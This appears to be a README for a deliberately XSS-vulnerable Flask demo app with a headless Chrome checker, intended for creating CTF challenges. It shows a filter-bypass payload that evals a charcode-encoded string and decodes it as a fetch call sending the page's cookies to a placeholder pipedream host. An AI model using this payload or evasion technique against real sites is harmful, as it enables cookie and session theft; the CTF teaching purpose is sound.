This is a demo flask app vulnerable to XSS attack with chrome headless checker. It may be useful in creation of CTF challenges.
In this application "." and "document" are filtered, so possible payload may be:
"><script>eval(String['fromCharCode'](102,101,116,...))</script>
where encoded in ascii query is something like:
fetch('https://our.domain.pipedream.net/?c=' + document['cookie'])
Guide for installation, configuration and running is available here
Plans for project improvement can be found here
Issues and PR's are welcome!